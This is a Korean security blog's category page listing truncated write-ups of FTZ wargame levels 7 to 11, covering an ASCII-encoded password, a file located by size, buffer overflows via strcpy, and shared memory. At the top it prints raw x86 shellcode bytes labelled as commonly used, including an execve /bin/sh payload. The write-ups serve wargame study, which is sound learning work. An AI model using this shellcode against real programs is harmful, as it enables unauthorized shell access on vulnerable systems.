Category

    쉘 코드

    자주 사용되는 쉘 코드 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 \x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3

    Level 11

    Level 11

    11번 문제부터는 BOF 문제들이 많다. 하나하나 해결해 나가보자. 소스를 실행하면 3092 권한을 가지고 문자열을 str에 복사한 후 출력하는 내용이다. 여기서 자세히 봐야 하는 부분은 !! strcpy(str, argv[1]); 이 부분이다. strncpy() 함수와는 다르게 ! strcpy는 어느정도 크기를 복사해야 할지 명시되어 있지 않다. 복사해야 될 문자열의 크기만큼 복사하게 된다. 그렇게 되면 str변수보다 argv[1]의 크기가 더 크더라도, str 배열의 크기를 넘어서 복사된다. 다른 메모리를 침범하게 되는 것이다. 이 부분을 이용하여 문제를 푼다. 정말 단순한 BOF 문제이다. 3092를 확인해 보면 level12의 id임을 확인할 수 있다. 그럼 실행파일를 gdb를 이용하여 분석을 시..

    Level 10 - Share Memory(공유 메모리)

    Level 10 - Share Memory(공유 메모리)

    레벨 10 ! 레벨 10의 문제는 공유메모리에 관한 취약점을 묻는 문제이다.! 위의 문제에서 주의에서 읽어야 할 부분은 "공유 메모리를 이용" , "key_t의 값은 7530", "소스를 지우고 나가주세요" 3가지 부분이다. 이 부분을 생각해 보면, 두 사람이 대화를 하는데 그 대화내용이 공유 메모리를 이용하고 있으며, key_t 7530의 값으로 접근 가능하다. 그리고 그 메모리에 접근할 수 있는 소스를 구성하는 것 이다. 자 ! 여기서 공유 메모리에 대해서 알지 못한다면 ! 공부 좀 하고 가자. 기본적으로 어떤 프로세스가 개별적으로 실행되고 있는 상황에서의 메모리 공간의 할당 및 사용은 아래와 같다. 하지만, 두 프로세스가 메모리를 공유하는 상황이 필요하다면, 이때 공유 메모리 공간을 사용한다. 각 ..

    Level 9

    Level 9

    Level 9 에서는 FTZ 에서 처음으로 Buffer OverFlow 문제가 나왔다! BOF 문제에 대해서는 많은 블로그 들에서 내용을 잘 정리해 놓았고, 설명 또한 잘 해놓은 블로그들과 책들이 굉장히 많다. 그 내용들을 참고하면 쉽게 이해할 수 있으리라 본다. BOF는 버퍼 오버플로우 라는 공격기법이다. Hint 의 내용을 보자 ! 10 Byte 씩 buf2 와 buf란 이름의 char형 배열을 선언한다. 표준입력을 40 Byte의 크기로 buf 에 할당받는다. 그런데, if 문의 조건이 아무런 입력도 받지 않는 buf2 의 내용과 "go"를 비교하는 것이다. 하지만, buf2에는 어떤한 값도 입력 받지 않는다. 어떻게 해야 할까? BOF의 개념을 공부하였다면 쉽게 이해 됫을 것 이다. buf에 40..

    Level 8

    Level 8

    Shadow 파일??? 용량이 "2700" ?? Shadow가 파일의 이름인가... 아니면 숨겨진 파일이란 건가.......... 하 ............... 항상 힌트만 보면 이게 뭔가 .. 하는 기분 그래도 한번 조져보자 !!!! 먼저 !! 이 문제를 풀기 전에 알아야 할 기본 상식이 있다.! 먼저 find 기능 중에 파일의 크기로 찾는 방법이 있다. 아래와 같이 파일 크기에 옵션을 부여하여 검색할 수 있다.! 그래서 Byte 단위로 찾도록 c 옵션을 붙여 검색해 봤다. 수상 쩍은 found.txt 란 파일이 있다. 이 파일을 열어보았더니..... 어디서 많이 봤던 형식이다. 여기서 한 가지 더 알고 넘어가자. 위에 힌트에서 말한 shadow 파일과 passwd 파일에 관한 것이다. found.t..

    Level 7

    Level 7

    그래서 일단 실행부터 시켜봤다. 뭔가 이자식 생긴게 촉이 오는데???? 저놈을 이진수로 표현하면 1101101 1100001 1110100 1100101 109 97 116 111 아스키 코드???? m a t e 비밀번호는 mate 였다.